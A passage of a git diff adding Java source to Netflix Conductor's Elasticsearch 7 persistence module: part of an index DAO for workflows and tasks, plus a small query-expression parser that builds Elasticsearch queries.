endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for updating workflow: {}", + endTime - startTime, + workflowInstanceId); + Monitors.recordESIndexTime("update_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to update workflow {}", workflowInstanceId, e); + Monitors.error(className, "update"); + } + } + + @Override + public void removeTask(String workflowId, String taskId) { + long startTime = Instant.now().toEpochMilli(); + + SearchResult taskSearchResult = + searchTasks( + String.format("(taskId='%s') AND (workflowId='%s')", taskId, workflowId), + "*", + 0, + 1, + null); + + if (taskSearchResult.getTotalHits() == 0) { + logger.error("Task: {} does not belong to workflow: {}", taskId, workflowId); + Monitors.error(className, "removeTask"); + return; + } + + DeleteRequest request = new DeleteRequest(taskIndexName, taskId); + + try { + DeleteResponse response = elasticSearchClient.delete(request, RequestOptions.DEFAULT); + + if (response.getResult() != DocWriteResponse.Result.DELETED) { + logger.error("Index removal failed - task not found by id: {}", workflowId); + Monitors.error(className, "removeTask"); + return; + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing task:{} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("remove_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error( + "Failed to remove task {} of workflow: {} from index", taskId, workflowId, e); + Monitors.error(className, "removeTask"); + } + } + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.runAsync(() -> removeTask(workflowId, taskId), executorService); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) { + try { + if (keys.length != values.length) { + throw new IllegalArgumentException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + UpdateRequest request = new UpdateRequest(taskIndexName, taskId); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + request.doc(source); + + logger.debug("Updating task: {} of workflow: {} with {}", taskId, workflowId, source); + elasticSearchClient.update(request, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for updating task: {} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("update_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to update task: {} of workflow: {}", taskId, workflowId, e); + Monitors.error(className, "update"); + } + } + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateTask(workflowId, taskId, keys, values), executorService); + } + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateWorkflow(workflowInstanceId, keys, values), executorService); + } + + @Override + public String get(String workflowInstanceId, String fieldToGet) { + GetRequest request = new GetRequest(workflowIndexName, workflowInstanceId); + GetResponse response; + try { + response = elasticSearchClient.get(request, RequestOptions.DEFAULT); + } catch (IOException e) { + logger.error( + "Unable to get Workflow: {} from ElasticSearch index: {}", + workflowInstanceId, + workflowIndexName, + e); + return null; + } + + if (response.isExists()) { + Map sourceAsMap = response.getSourceAsMap(); + if (sourceAsMap.get(fieldToGet) != null) { + return sourceAsMap.get(fieldToGet).toString(); + } + } + + logger.debug( + "Unable to find Workflow: {} in ElasticSearch index: {}.", + workflowInstanceId, + workflowIndexName); + return null; + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjectIds(getIndexName(docType), queryBuilder, start, size, sortOptions); + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + Class clazz) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjects( + getIndexName(docType), queryBuilder, start, size, sortOptions, false, clazz); + } + + private SearchResult searchObjectIds( + String indexName, QueryBuilder queryBuilder, int start, int size) throws IOException { + return searchObjectIds(indexName, queryBuilder, start, size, null); + } + + /** + * Tries to find object ids for a given query in an index. + * + * @param indexName The name of the index. + * @param queryBuilder The query to use for searching. + * @param start The start to use. + * @param size The total return size. + * @param sortOptions A list of string options to sort in the form VALUE:ORDER; where ORDER is + * optional and can be either ASC OR DESC. + * @return The SearchResults which includes the count and IDs that were found. + * @throws IOException If we cannot communicate with ES. + */ + private SearchResult searchObjectIds( + String indexName, + QueryBuilder queryBuilder, + int start, + int size, + List sortOptions) + throws IOException { + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(queryBuilder); + searchSourceBuilder.from(start); + searchSourceBuilder.size(size); + + if (sortOptions != null && !sortOptions.isEmpty()) { + + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.ASC; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + order = SortOrder.valueOf(sortOption.substring(index + 1)); + } + searchSourceBuilder.sort(new FieldSortBuilder(field).order(order)); + } + } + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(indexName); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = elasticSearchClient.search(searchRequest, RequestOptions.DEFAULT); + + List result = new LinkedList<>(); + response.getHits().forEach(hit -> result.add(hit.getId())); + long count = response.getHits().getTotalHits().value; + return new SearchResult<>(count, result); + } + + private SearchResult searchObjects( + String indexName, + QueryBuilder queryBuilder, + int start, + int size, + List sortOptions, + boolean idOnly, + Class clazz) + throws IOException { + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(queryBuilder); + searchSourceBuilder.from(start); + searchSourceBuilder.size(size); + if (idOnly) { + searchSourceBuilder.fetchSource(false); + } + + if (sortOptions != null && !sortOptions.isEmpty()) { + + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.ASC; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + order = SortOrder.valueOf(sortOption.substring(index + 1)); + } + searchSourceBuilder.sort(new FieldSortBuilder(field).order(order)); + } + } + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(indexName); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = elasticSearchClient.search(searchRequest, RequestOptions.DEFAULT); + return mapSearchResult(response, idOnly, clazz); + } + + private SearchResult mapSearchResult( + SearchResponse response, boolean idOnly, Class clazz) { + SearchHits searchHits = response.getHits(); + long count = searchHits.getTotalHits().value; + List result; + if (idOnly) { + result = + Arrays.stream(searchHits.getHits()) + .map(hit -> clazz.cast(hit.getId())) + .collect(Collectors.toList()); + } else { + result = + Arrays.stream(searchHits.getHits()) + .map( + hit -> { + try { + return objectMapper.readValue( + hit.getSourceAsString(), clazz); + } catch (JsonProcessingException e) { + logger.error( + "Failed to de-serialize elasticsearch from source: {}", + hit.getSourceAsString(), + e); + } + return null; + }) + .collect(Collectors.toList()); + } + return new SearchResult<>(count, result); + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + QueryBuilder q = + QueryBuilders.boolQuery() + .must( + QueryBuilders.rangeQuery("endTime") + .lt(LocalDate.now().minusDays(archiveTtlDays).toString()) + .gte( + LocalDate.now() + .minusDays(archiveTtlDays) + .minusDays(1) + .toString())) + .should(QueryBuilders.termQuery("status", "COMPLETED")) + .should(QueryBuilders.termQuery("status", "FAILED")) + .should(QueryBuilders.termQuery("status", "TIMED_OUT")) + .should(QueryBuilders.termQuery("status", "TERMINATED")) + .mustNot(QueryBuilders.existsQuery("archived")) + .minimumShouldMatch(1); + + SearchResult workflowIds; + try { + workflowIds = searchObjectIds(indexName, q, 0, 1000); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find archivable workflows", e); + return Collections.emptyList(); + } + + return workflowIds.getResults(); + } + + @Override + public long getWorkflowCount(String query, String freeText) { + try { + return getObjectCounts(query, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + private long getObjectCounts(String structuredQuery, String freeTextQuery, String docType) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + + String indexName = getIndexName(docType); + CountRequest countRequest = new CountRequest(new String[] {indexName}, queryBuilder); + CountResponse countResponse = + elasticSearchClient.count(countRequest, RequestOptions.DEFAULT); + return countResponse.getCount(); + } + + public List searchRecentRunningWorkflows( + int lastModifiedHoursAgoFrom, int lastModifiedHoursAgoTo) { + DateTime dateTime = new DateTime(); + QueryBuilder q = + QueryBuilders.boolQuery() + .must( + QueryBuilders.rangeQuery("updateTime") + .gt(dateTime.minusHours(lastModifiedHoursAgoFrom))) + .must( + QueryBuilders.rangeQuery("updateTime") + .lt(dateTime.minusHours(lastModifiedHoursAgoTo))) + .must(QueryBuilders.termQuery("status", "RUNNING")); + + SearchResult workflowIds; + try { + workflowIds = + searchObjectIds( + workflowIndexName, + q, + 0, + 5000, + Collections.singletonList("updateTime:ASC")); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find recent running workflows", e); + return Collections.emptyList(); + } + + return workflowIds.getResults(); + } + + private void indexObject(final String index, final String docType, final Object doc) { + indexObject(index, docType, null, doc, null); + } + + private void indexObject( + final String index, + final String docType, + final String docId, + final Object doc, + final WriteRequest.RefreshPolicy refreshPolicy) { + byte[] docBytes; + try { + docBytes = objectMapper.writeValueAsBytes(doc); + } catch (JsonProcessingException e) { + logger.error("Failed to convert {} '{}' to byte string", docType, docId); + return; + } + IndexRequest request = new IndexRequest(index); + request.id(docId).source(docBytes, XContentType.JSON); + + Pair requestKey = + new ImmutablePair<>(docType, refreshPolicy); + if (bulkRequests.get(requestKey) == null) { + BulkRequest bulkRequest = new BulkRequest(); + Optional.ofNullable(requestKey.getRight()).map(bulkRequest::setRefreshPolicy); + bulkRequests.put(requestKey, new BulkRequests(System.currentTimeMillis(), bulkRequest)); + } + + bulkRequests.get(requestKey).getBulkRequest().add(request); + if (bulkRequests.get(requestKey).getBulkRequest().numberOfActions() + >= this.indexBatchSize) { + indexBulkRequest(requestKey); + } + } + + private synchronized void indexBulkRequest( + Pair requestKey) { + if (bulkRequests.get(requestKey).getBulkRequest() != null + && bulkRequests.get(requestKey).getBulkRequest().numberOfActions() > 0) { + synchronized (bulkRequests.get(requestKey).getBulkRequest()) { + indexWithRetry( + bulkRequests.get(requestKey).getBulkRequest().get(), + "Bulk Indexing " + + requestKey.getLeft() + + " with " + + requestKey.getLeft() + + " policy", + requestKey.getLeft()); + BulkRequest bulkRequest = new BulkRequest(); + Optional.ofNullable(requestKey.getRight()).map(bulkRequest::setRefreshPolicy); + bulkRequests.put( + requestKey, new BulkRequests(System.currentTimeMillis(), bulkRequest)); + } + } + } + + /** + * Performs an index operation with a retry. + * + * @param request The index request that we want to perform. + * @param operationDescription The type of operation that we are performing. + */ + private void indexWithRetry( + final BulkRequest request, final String operationDescription, String docType) { + try { + long startTime = Instant.now().toEpochMilli(); + retryTemplate.execute( + context -> elasticSearchClient.bulk(request, RequestOptions.DEFAULT)); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing object of type: {}", endTime - startTime, docType); + Monitors.recordESIndexTime("index_object", docType, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "index"); + logger.error("Failed to index {} for request type: {}", request, docType, e); + } + } + + /** + * Flush the buffers if bulk requests have not been indexed for the past {@link + * ElasticSearchProperties#getAsyncBufferFlushTimeout()} seconds This is to prevent data loss in + * case the instance is terminated, while the buffer still holds documents to be indexed. + */ + private void flushBulkRequests() { + bulkRequests.entrySet().stream() + .filter( + entry -> + (System.currentTimeMillis() - entry.getValue().getLastFlushTime()) + >= asyncBufferFlushTimeout * 1000L) + .filter( + entry -> + entry.getValue().getBulkRequest() != null + && entry.getValue().getBulkRequest().numberOfActions() > 0) + .forEach( + entry -> { + logger.debug( + "Flushing bulk request buffer for type {}, size: {}", + entry.getKey(), + entry.getValue().getBulkRequest().numberOfActions()); + indexBulkRequest(entry.getKey()); + }); + } + + private static class BulkRequests { + + private final long lastFlushTime; + private final BulkRequestWrapper bulkRequest; + + long getLastFlushTime() { + return lastFlushTime; + } + + BulkRequestWrapper getBulkRequest() { + return bulkRequest; + } + + BulkRequests(long lastFlushTime, BulkRequest bulkRequest) { + this.lastFlushTime = lastFlushTime; + this.bulkRequest = new BulkRequestWrapper(bulkRequest); + } + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/Expression.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/Expression.java new file mode 100644 index 0000000..365643f --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/Expression.java @@ -0,0 +1,118 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.elasticsearch.index.query.QueryBuilder; +import org.elasticsearch.index.query.QueryBuilders; + +import com.netflix.conductor.es7.dao.query.parser.internal.AbstractNode; +import com.netflix.conductor.es7.dao.query.parser.internal.BooleanOp; +import com.netflix.conductor.es7.dao.query.parser.internal.ParserException; + +/** + * @author Viren + */ +public class Expression extends AbstractNode implements FilterProvider { + + private NameValue nameVal; + + private GroupedExpression ge; + + private BooleanOp op; + + private Expression rhs; + + public Expression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(1); + + if (peeked[0] == '(') { + this.ge = new GroupedExpression(is); + } else { + this.nameVal = new NameValue(is); + } + + peeked = peek(3); + if (isBoolOpr(peeked)) { + // we have an expression next + this.op = new BooleanOp(is); + this.rhs = new Expression(is); + } + } + + public boolean isBinaryExpr() { + return this.op != null; + } + + public BooleanOp getOperator() { + return this.op; + } + + public Expression getRightHandSide() { + return this.rhs; + } + + public boolean isNameValue() { + return this.nameVal != null; + } + + public NameValue getNameValue() { + return this.nameVal; + } + + public GroupedExpression getGroupedExpression() { + return this.ge; + } + + @Override + public QueryBuilder getFilterBuilder() { + QueryBuilder lhs = null; + if (nameVal != null) { + lhs = nameVal.getFilterBuilder(); + } else { + lhs = ge.getFilterBuilder(); + } + + if (this.isBinaryExpr()) { + QueryBuilder rhsFilter = rhs.getFilterBuilder(); + if (this.op.isAnd()) { + return QueryBuilders.boolQuery().must(lhs).must(rhsFilter); + } else { + return QueryBuilders.boolQuery().should(lhs).should(rhsFilter); + } + } else { + return lhs; + } + } + + @Override + public String toString() { + if (isBinaryExpr()) { + return "" + (nameVal == null ? ge : nameVal) + op + rhs; + } else { + return "" + (nameVal == null ? ge : nameVal); + } + } + + public static Expression fromString(String value) throws ParserException { + return new Expression(new BufferedInputStream(new ByteArrayInputStream(value.getBytes()))); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/FilterProvider.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/FilterProvider.java new file mode 100644 index 0000000..6c56414 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/FilterProvider.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser; + +import org.elasticsearch.index.query.QueryBuilder; + +/** + * @author Viren + */ +public interface FilterProvider { + + /** + * @return FilterBuilder for elasticsearch + */ + public QueryBuilder getFilterBuilder(); +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/GroupedExpression.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/GroupedExpression.java new file mode 100644 index 0000000..051741c --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/GroupedExpression.java @@ -0,0 +1,60 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser; + +import java.io.InputStream; + +import org.elasticsearch.index.query.QueryBuilder; + +import com.netflix.conductor.es7.dao.query.parser.internal.AbstractNode; +import com.netflix.conductor.es7.dao.query.parser.internal.ParserException; + +/** + * @author Viren + */ +public class GroupedExpression extends AbstractNode implements FilterProvider { + + private Expression expression; + + public GroupedExpression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + + this.expression = new Expression(is); + + peeked = read(1); + assertExpected(peeked, ")"); + } + + @Override + public String toString() { + return "(" + expression + ")"; + } + + /** + * @return the expression + */ + public Expression getExpression() { + return expression; + } + + @Override + public QueryBuilder getFilterBuilder() { + return expression.getFilterBuilder(); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/NameValue.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/NameValue.java new file mode 100644 index 0000000..26b1642 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/NameValue.java @@ -0,0 +1,139 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser; + +import java.io.InputStream; + +import org.elasticsearch.index.query.QueryBuilder; +import org.elasticsearch.index.query.QueryBuilders; + +import com.netflix.conductor.es7.dao.query.parser.internal.AbstractNode; +import com.netflix.conductor.es7.dao.query.parser.internal.ComparisonOp; +import com.netflix.conductor.es7.dao.query.parser.internal.ComparisonOp.Operators; +import com.netflix.conductor.es7.dao.query.parser.internal.ConstValue; +import com.netflix.conductor.es7.dao.query.parser.internal.ListConst; +import com.netflix.conductor.es7.dao.query.parser.internal.Name; +import com.netflix.conductor.es7.dao.query.parser.internal.ParserException; +import com.netflix.conductor.es7.dao.query.parser.internal.Range; + +/** + * @author Viren + * 

    + * Represents an expression of the form as below:
+ * key OPR value
+ * OPR is the comparison operator which could be on the following:
+ * 	>, <, = , !=, IN, BETWEEN
+ *
    + */ +public class NameValue extends AbstractNode implements FilterProvider { + + private Name name; + + private ComparisonOp op; + + private ConstValue value; + + private Range range; + + private ListConst valueList; + + public NameValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.name = new Name(is); + this.op = new ComparisonOp(is); + + if (this.op.getOperator().equals(Operators.BETWEEN.value())) { + this.range = new Range(is); + } + if (this.op.getOperator().equals(Operators.IN.value())) { + this.valueList = new ListConst(is); + } else { + this.value = new ConstValue(is); + } + } + + @Override + public String toString() { + return "" + name + op + value; + } + + /** + * @return the name + */ + public Name getName() { + return name; + } + + /** + * @return the op + */ + public ComparisonOp getOp() { + return op; + } + + /** + * @return the value + */ + public ConstValue getValue() { + return value; + } + + @Override + public QueryBuilder getFilterBuilder() { + if (op.getOperator().equals(Operators.EQUALS.value())) { + return QueryBuilders.queryStringQuery( + name.getName() + ":" + value.getValue().toString()); + } else if (op.getOperator().equals(Operators.BETWEEN.value())) { + return QueryBuilders.rangeQuery(name.getName()) + .from(range.getLow()) + .to(range.getHigh()); + } else if (op.getOperator().equals(Operators.IN.value())) { + return QueryBuilders.termsQuery(name.getName(), valueList.getList()); + } else if (op.getOperator().equals(Operators.NOT_EQUALS.value())) { + return QueryBuilders.queryStringQuery( + "NOT " + name.getName() + ":" + value.getValue().toString()); + } else if (op.getOperator().equals(Operators.GREATER_THAN.value())) { + return QueryBuilders.rangeQuery(name.getName()) + .from(value.getValue()) + .includeLower(false) + .includeUpper(false); + } else if (op.getOperator().equals(Operators.IS.value())) { + if (value.getSysConstant().equals(ConstValue.SystemConsts.NULL)) { + return QueryBuilders.boolQuery() + .mustNot( + QueryBuilders.boolQuery() + .must(QueryBuilders.matchAllQuery()) + .mustNot(QueryBuilders.existsQuery(name.getName()))); + } else if (value.getSysConstant().equals(ConstValue.SystemConsts.NOT_NULL)) { + return QueryBuilders.boolQuery() + .mustNot( + QueryBuilders.boolQuery() + .must(QueryBuilders.matchAllQuery()) + .must(QueryBuilders.existsQuery(name.getName()))); + } + } else if (op.getOperator().equals(Operators.LESS_THAN.value())) { + return QueryBuilders.rangeQuery(name.getName()) + .to(value.getValue()) + .includeLower(false) + .includeUpper(false); + } else if (op.getOperator().equals(Operators.STARTS_WITH.value())) { + return QueryBuilders.prefixQuery(name.getName(), value.getUnquotedValue()); + } + + throw new IllegalStateException("Incorrect/unsupported operators"); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractNode.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractNode.java new file mode 100644 index 0000000..4bb8e73 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractNode.java @@ -0,0 +1,178 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; +import java.math.BigDecimal; +import java.util.HashSet; +import java.util.Set; +import java.util.regex.Pattern; + +/** + * @author Viren + */ +public abstract class AbstractNode { + + public static final Pattern WHITESPACE = Pattern.compile("\\s"); + + protected static Set comparisonOprs = new HashSet(); + + static { + comparisonOprs.add('>'); + comparisonOprs.add('<'); + comparisonOprs.add('='); + } + + protected InputStream is; + + protected AbstractNode(InputStream is) throws ParserException { + this.is = is; + this.parse(); + } + + protected boolean isNumber(String test) { + try { + // If you can convert to a big decimal value, then it is a number. + new BigDecimal(test); + return true; + + } catch (NumberFormatException e) { + // Ignore + } + return false; + } + + protected boolean isBoolOpr(byte[] buffer) { + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + return true; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + return true; + } + return false; + } + + protected boolean isComparisonOpr(byte[] buffer) { + if (buffer[0] == 'I' && buffer[1] == 'N') { + return true; + } else if (buffer[0] == '!' && buffer[1] == '=') { + return true; + } else { + return comparisonOprs.contains((char) buffer[0]); + } + } + + protected byte[] peek(int length) throws Exception { + return read(length, true); + } + + protected byte[] read(int length) throws Exception { + return read(length, false); + } + + protected String readToken() throws Exception { + skipWhitespace(); + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + char c = (char) peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + is.skip(1); + break; + } else if (c == '=' || c == '>' || c == '<' || c == '!') { + // do not skip + break; + } + sb.append(c); + is.skip(1); + } + return sb.toString().trim(); + } + + protected boolean isNumeric(char c) { + if (c == '-' || c == 'e' || (c >= '0' && c <= '9') || c == '.') { + return true; + } + return false; + } + + protected void assertExpected(byte[] found, String expected) throws ParserException { + assertExpected(new String(found), expected); + } + + protected void assertExpected(String found, String expected) throws ParserException { + if (!found.equals(expected)) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected void assertExpected(char found, char expected) throws ParserException { + if (found != expected) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected static void efor(int length, FunctionThrowingException consumer) + throws Exception { + for (int i = 0; i < length; i++) { + consumer.accept(i); + } + } + + protected abstract void _parse() throws Exception; + + // Public stuff here + private void parse() throws ParserException { + // skip white spaces + skipWhitespace(); + try { + _parse(); + } catch (Exception e) { + System.out.println("\t" + this.getClass().getSimpleName() + "->" + this.toString()); + if (!(e instanceof ParserException)) { + throw new ParserException("Error parsing", e); + } else { + throw (ParserException) e; + } + } + skipWhitespace(); + } + + // Private methods + + private byte[] read(int length, boolean peekOnly) throws Exception { + byte[] buf = new byte[length]; + if (peekOnly) { + is.mark(length); + } + efor(length, (Integer c) -> buf[c] = (byte) is.read()); + if (peekOnly) { + is.reset(); + } + return buf; + } + + protected void skipWhitespace() throws ParserException { + try { + while (is.available() > 0) { + byte c = peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + // skip + read(1); + } else { + break; + } + } + } catch (Exception e) { + throw new ParserException(e.getMessage(), e); + } + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/BooleanOp.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/BooleanOp.java new file mode 100644 index 0000000..b630b8a --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/BooleanOp.java @@ -0,0 +1,57 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class BooleanOp extends AbstractNode { + + private String value; + + public BooleanOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] buffer = peek(3); + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + this.value = "OR"; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + this.value = "AND"; + } else { + throw new ParserException("No valid boolean operator found..."); + } + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } + + public boolean isAnd() { + return "AND".equals(value); + } + + public boolean isOr() { + return "OR".equals(value); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ComparisonOp.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ComparisonOp.java new file mode 100644 index 0000000..e54f020 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ComparisonOp.java @@ -0,0 +1,102 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class ComparisonOp extends AbstractNode { + + public enum Operators { + BETWEEN("BETWEEN"), + EQUALS("="), + LESS_THAN("<"), + GREATER_THAN(">"), + IN("IN"), + NOT_EQUALS("!="), + IS("IS"), + STARTS_WITH("STARTS_WITH"); + + private final String value; + + Operators(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + static { + int max = 0; + for (Operators op : Operators.values()) { + max = Math.max(max, op.value().length()); + } + maxOperatorLength = max; + } + + private static final int maxOperatorLength; + + private static final int betweenLen = Operators.BETWEEN.value().length(); + private static final int startsWithLen = Operators.STARTS_WITH.value().length(); + + private String value; + + public ComparisonOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(maxOperatorLength); + if (peeked[0] == '=' || peeked[0] == '>' || 